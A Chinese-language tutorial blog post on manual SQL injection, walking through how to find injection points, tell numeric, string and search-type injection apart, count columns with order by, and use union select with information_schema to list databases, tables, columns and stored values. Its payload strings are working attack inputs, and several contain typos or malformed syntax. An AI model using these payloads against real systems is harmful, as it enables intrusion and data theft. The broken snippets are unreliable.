首页数据库SQL手工注入过程中怎么判断注入类型

SQL手工注入过程中怎么判断注入类型

时间2024-03-22 12:02:03发布访客分类数据库浏览919
导读:在这篇文章中我们会学习到关于“SQL手工注入过程中怎么判断注入类型”的知识,小编觉得挺不错的,现在分享给大家,也给大家做个参考,希望对大家学习或工作能有帮助。下面就请大家跟着小编的思路一起来学习一下吧。本篇文章给大家带来了关于sql中手工注...
在这篇文章中我们会学习到关于“SQL手工注入过程中怎么判断注入类型”的知识,小编觉得挺不错的,现在分享给大家,也给大家做个参考,希望对大家学习或工作能有帮助。下面就请大家跟着小编的思路一起来学习一下吧。

本篇文章给大家带来了关于sql中手工注入的相关问题,其中包括判断注入点以及判断注入类型的相关问题,希望对大家有帮助。

判断注入点

1.单引号法:直接在网址后面加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在sql注入漏洞

2.1=1和1=2:在网址后面的get传参中加上 and 1=1 ,显示正常,把1=1替换为1=2,显示异常,说明网页存在sql注入。

判断注入类型

1.数字型注入:注入变量的值不需要用引号引起来,如

select * from user where id=$id;
    

2.字符型注入:注入变量会用引号包裹起来,如`

select * from user where username='$username';
    `

注入时注意要闭合引号。
3.搜索型注入:

select * from user where username like '%$pass%';
    

把sql语句构造为

select * from user where username like '%$pass%' union select语句 '%%';

即传输的变量为 pass%’ union select语句 '% 形成闭合。

判断注入点提交方式

通过抓包等方式判断注入点的提交方式是get,post,还是cookie。

使用order by 查询字段

使用order by 语句可以查询出数据库有多少个字段,可以通过不断的尝试来确定数据库字段数量,如在输入oeder by 9时,页面报错而输入order by 8时页面显示正常,即数据库中有8个字段。
如查询语句为:select * from user where id='$id';
可以构造下面的输入:(id = ') ' order by 3 '+--+
即查询语句为:select * from user where id='' order by 3 '--'

使用联合查询来查询当前数据库、用户、版本信息

使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
构造语句:

select * from user where id='' union select user(),database(),version()+--+;
    

查询当前数据库中的表,列和值

5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。
Information_schema.tables :记录着数据库中所有表名信息的表。
构造的查询语句如下:

Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;
    --

查询的结果为:第五步查询的当前数据库中的表名信息。
Information_schema.columns:记录着数据库中所有的表中的列名信息;
下面就应该根据上面查询得到的表名信息(如表为table_1)查询他的列名信息,构造语句如下:

Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;
    --

查询出列名后,就可以直接通过联合查询查出表中存储的信息(如查出的列名为column_1,column_2)构造语句

Selcet * from user where id='' union select 1,column_1,column_2 from tables;
    --



以上就是关于SQL手工注入过程中怎么判断注入类型的介绍啦,需要的朋友可以参考上述内容,希望对大家有帮助,欢迎关注网络,小编将为大家输出更多高质量的实用文章!

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!

sql

若转载请注明出处: SQL手工注入过程中怎么判断注入类型
本文地址: https://pptw.com/jishu/650475.html
SQL注入是指什么,如何解决问题 PHPSpreadsheet导出Excel时报错该怎样处理

游客 回复需填写必要信息